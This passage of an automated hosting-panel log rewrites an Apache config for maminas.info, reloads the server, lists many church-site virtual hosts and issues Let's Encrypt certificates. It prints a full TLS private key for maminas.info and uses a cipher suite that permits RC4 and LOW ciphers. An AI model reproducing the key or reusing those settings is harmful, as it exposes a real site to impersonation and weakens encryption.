RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_secure_access.log combined
ErrorLog /var/log/apache2/maminas/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-22 06:00:16:
PUT: /tmp/pkp645972
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=maminas_www_info.conf
TARGET=/etc/apache2/sites-enabled/maminas_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_access.log combined
ErrorLog /var/log/apache2/maminas/www_error.log
SetEnv pkp_uid 56
SetEnv pkp_owner maminas
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_secure_access.log combined
ErrorLog /var/log/apache2/maminas/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/maminas_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf= 1'
fi
2025-09-22 06:00:16:
chmod 755 /tmp/pkp645972; /tmp/pkp645972; rm /tmp/pkp645972
2025-09-22 06:00:16:
2025-09-22 06:00:16:
PUT: /tmp/pkp240515
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-22 06:00:16:
chmod 755 /tmp/pkp240515; /tmp/pkp240515; rm /tmp/pkp240515
2025-09-22 06:00:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-22 06:00:16: Establishing a connection
2025-09-22 06:00:17:
PUT: /tmp/pkp956884
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-22 06:00:17:
chmod 755 /tmp/pkp956884; /tmp/pkp956884; rm /tmp/pkp956884
2025-09-22 06:00:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-22 06:00:17:
PUT: /tmp/pkp158666
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/maminas_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-22 06:00:17:
chmod 755 /tmp/pkp158666; /tmp/pkp158666; rm /tmp/pkp158666
2025-09-22 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf 1355
<VirtualHost *:80>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_access.log combined
ErrorLog /var/log/apache2/maminas/www_error.log
SetEnv pkp_uid 56
SetEnv pkp_owner maminas
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_secure_access.log combined
ErrorLog /var/log/apache2/maminas/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-22 06:00:17:
PUT: /tmp/pkp374041
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-22 06:00:17:
chmod 755 /tmp/pkp374041; /tmp/pkp374041; rm /tmp/pkp374041
2025-09-22 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt 5365
ca:71:36:dd:8c:4f:81:a9:8a:64:16:8f:65:4c:73:04
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBbJxRS1FLFwkD6LFi94S0vHIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTIyMDUwMTQ1WhcNMjUxMjIxMDUwMTQ0WjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCZ
SRrNsXjpvPe77fM1hDeAGh/o06mPBdlXse5FTZAgNtQ04pZistnikShpmPsxv40j
8ZHNPzwn7f008Qn3dCuvINe9mxc0UeCHGvNsag5tkqKOK1Yoco3oRGrgPIC+6xSQ
Z4YAKJx4kvzHkr6CY9e6ldzbn4iP9huv84a1BBc14IoxGfqvdkrreLyqUfDdUaAR
Gr4e0JO6NpL/o3Y5aFr834fYaNhpu+b8AnPqqlWPvxzB9krQ5Nz577ScfnY/HrsL
vjit10fh6RDzMM6qOD6D4L4yVRVR2LHyQzXWphkGte8HhBzUsRlJtls7JcLtFGQ5
IZSvMS5MVcO/AY+73HovAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFJj3Ak/FqVK01ioAU1CR8wVvVi3uMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMbWFtaW5hcy5pbmZvghB3d3cubWFt
aW5hcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzMuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHYAzPsPaoVxCWX+lZtTzumyfCLphVwNl422qX5UwP5MDbAAAAGZcAIu
xwAABAMARzBFAiEApxBln22R4MiXU4Roeapl2dZqWBa1845kemEq7c3L8hwCIFkY
lLFxv3++MbHtXOio6izc6f+axJgfV/KgjnII7/VxAHYADeHyMCvTDcFAYhIJ6lUu
/Ed0fLHX6TDvDkIetH5OqjQAAAGZcAIu6AAABAMARzBFAiEAnTM0Mwrdowj6k1mC
/JSOiqIkmB2RqpwbHeBBQ519U34CIE22mR+GhbIALhA217c77Xsv0zfp1Z/u/P+t
iNZhtvIlMA0GCSqGSIb3DQEBCwUAA4IBAQAMK0l+ENF14RBdZ1O02FDFA8bqOrA5
haSTn53NDUcEoFZcLjRpn6gKBIjcs5g/H/xwDbiFAtuU9wHX2ycAyNt/JmX0FUWj
Cfnni5VkvbONutA28K+ZVrcoFLZidMZj+lrr98TPvOwg1LSOAgpF/b3qXYwkBN+4
VIrCd1oWYcr3A7lgsOcVUVwA5rlU+UeATUCCv+vQSSn+b2e/Zev0aC9DzqPJhbDF
cPoR2puT8ygmWW3GRZ+x0pCe93s51uPvq66LYOoifNZi6GJx+CJXvwDG4bYeqhN6
yhChA2vV2V+R89WHiyOPQUKGBZQ2JgZoZBwG8ue6G55+I2xPgbwpdmgL
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCZSRrNsXjpvPe7
7fM1hDeAGh/o06mPBdlXse5FTZAgNtQ04pZistnikShpmPsxv40j8ZHNPzwn7f00
8Qn3dCuvINe9mxc0UeCHGvNsag5tkqKOK1Yoco3oRGrgPIC+6xSQZ4YAKJx4kvzH
kr6CY9e6ldzbn4iP9huv84a1BBc14IoxGfqvdkrreLyqUfDdUaARGr4e0JO6NpL/
o3Y5aFr834fYaNhpu+b8AnPqqlWPvxzB9krQ5Nz577ScfnY/HrsLvjit10fh6RDz
MM6qOD6D4L4yVRVR2LHyQzXWphkGte8HhBzUsRlJtls7JcLtFGQ5IZSvMS5MVcO/
AY+73HovAgMBAAECggEBAIoBY3xlmDL4yyILrbg0/bL70lbQmgwGfBOUQq1qk6Qt
OQkUJ8lctQZjIjtQXHgBuZTu3RIpKIPapOmRSiPcF6horVQr2cxlGv0IqrilE7Bb
ILdXFQ79c/31+zM/xbod9Dm+uspRxe5Yh/U2jQbf1U5LtriU/WJ/dZYIbvNyZ2M9
DPgkF9trCs+njOjCOzw6U+q7q7hO+1Jymuh0afkSMBuUIUrjgB4nkeb1/9D4zOoP
vAM6id1bxmHmS2Dc3+HJ6dqf0LUlgUwH6UsNcPdK7Q1cil8/hpsCuXeYe1znPh9X
JUOcATAz9qfa54z1FnrSFwDPM1BLCwkzyEJx88J9HoECgYEAx6tMmcPeeqLpGJbj
ijuAUBT1vrHNP/CF2OPMvME+mGkZLKZRchB28iglVK6n24jVsI4RRW5VXt21tU8/
lZ5nHspl46nZwkPSIAY40GitPgFpHKSdCBd63mpdYxyuiDp5lVTEilhUWmEgEOKO
kf4Vzb4W4wD0mhs3dSOvwF8Br/8CgYEAxIfYc3CfO1VOfRz2dlPV/2KFosBkEHZp
8ssf7wUMX5P7Z+vEOQc8Gu161Hl+sZ6FJ74hq9FLSiAg4SAfRW4V6uwKB8PxEWdH
LnzLBuVAOAa4kt9Ug5xzJzkHfvLy4lG5F/+f2CEodfegevCiAW8a1VyXi3NFtdvp
YtUrtO30NdECgYBWhzyl8kUK3minmFQ5RnnfuoWYw1LQX7qReH70WcZ3pCwdtmHb
TZlObelnnlzt/YmlfpurfBoRB4HEdfh3LXNA27N2CthsoJmB+VBLuOFC2rejiw7m
P86mbm/UEMzuCnFALsERtx+vHyIXTyc7y2HFjJg8feCCnELXR8TVWBbSHwKBgQCA
Tvx26clbsGcs8dLLEBL/yC/dQORThyvGsuznXRFl+TRC9b9HSDzqi68Mt0GK7yaZ
+tz60wrnmzA8Kn+gEa5HkNE/nqJtrVLgu+LFXrjdmy233gzMXEEmE2qcbDs8nQRN
8btHHObQldn1SdNLQmFveSMLjTeu8qNdvjTpzA0LcQKBgQCLy/TinQY1/elJFWWA
UzibwiIODhdtVa8zHUH8jznKrbgBujnmx8DHtWDegej30NNvKMQ5jbY+QWbI8W99
4fgMNG7k0PoTdLJuhObSd+H5CnsM/CeCy07KgYwiBrmQgchg7S73ltRquhHTaE26
jAIQyR7IUc6uenK1jJg0Rg5m7A==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-23 06:00:02: Establishing a connection
2025-09-23 06:00:03: Establishing a connection
2025-09-23 06:00:03:
PUT: /tmp/pkp945919
#!/bin/bash
if [ -d "/var/www/osnowybiblii_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-23 06:00:04:
chmod 755 /tmp/pkp945919; /tmp/pkp945919; rm /tmp/pkp945919
2025-09-23 06:00:04:
1
2025-09-23 06:00:05: Establishing a connection
2025-09-23 06:00:05:
PUT: /tmp/pkp256555
#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cat > jbpvAlDWJ9q8BfHq4TWldkrHbCy3brXEJnQi8kETXCA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jbpvAlDWJ9q8BfHq4TWldkrHbCy3brXEJnQi8kETXCA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jbpvAlDWJ9q8BfHq4TWldkrHbCy3brXEJnQi8kETXCA
cat > xCq1UjplCh1_8b35g-uDNdzd7MkzBCTFuFeCNuzG32k <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xCq1UjplCh1_8b35g-uDNdzd7MkzBCTFuFeCNuzG32k.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xCq1UjplCh1_8b35g-uDNdzd7MkzBCTFuFeCNuzG32k
2025-09-23 06:00:05:
chmod 755 /tmp/pkp256555; /tmp/pkp256555; rm /tmp/pkp256555
2025-09-23 06:00:05:
2025-09-23 06:00:15: Establishing a connection
2025-09-23 06:00:15:
PUT: /tmp/pkp949115
#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
rm jbpvAlDWJ9q8BfHq4TWldkrHbCy3brXEJnQi8kETXCA
rm xCq1UjplCh1_8b35g-uDNdzd7MkzBCTFuFeCNuzG32k
2025-09-23 06:00:15:
chmod 755 /tmp/pkp949115; /tmp/pkp949115; rm /tmp/pkp949115
2025-09-23 06:00:15:
2025-09-23 06:00:15: Establishing a connection
2025-09-23 06:00:15:
PUT: /tmp/pkp137537
#!/bin/bash
temp_file=$(mktemp)
TARGET=0e3e734dd08e3f9fefca36cd65718d9b.crt
cat > $temp_file <<'endmsg'
eb:70:8c:d0:d9:62:f7:4a:f9:34:bf:83:b6:79:1f:60
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBlilHRV5e1DEUMc9aB8sn0zoMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTIzMDUwMTQ1WhcNMjUxMjIyMDUwMTQ0WjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK1ShYonbdX274LaU4PTdcAAZGQKDuigjaGUvgon21TLv2SMFnq+gvtAhfoD
J7kZlru9xmult+2Hv1Ir02RiKrVTXrFFPbYOLWQjrfJUDUAQGn0FmgnSWx2ai5iY
urhYO5wmrCQVncziOIsZI5bCnm3aNX6br45FQC6pTdtV2VCIcaQTlGj3sadmCL3U
LTO4oAol3n+FvoFtKAo9KpUWpMAFEdxvPXRpNU2eLpFVq5ApQ/d7bdgolwmx1OfD
TKb8hay95LOeBH90UjdlDzJpHshogeGJnq09GKQl2eLFG3SY08dQ0mpBywECAi2i
m/krNuHZJzvZljbTUi21weTwd5sCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUkS8I9t5M8tp2j/fg+mCCwmqQtogwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFvc25vd3liaWJsaWkuaW5m
b4IVd3d3Lm9zbm93eWJpYmxpaS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTA1LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeN
tql+VMD+TA2wAAABmXUoie0AAAQDAEgwRgIhALRupL4BxtwfaUai0XKfo/cVEKL9
sTGILZXCMRWRy0h5AiEAhhg/e4W6APPS7YVOpoNIL1hhvbkU5EE4Thg3BorxTTkA
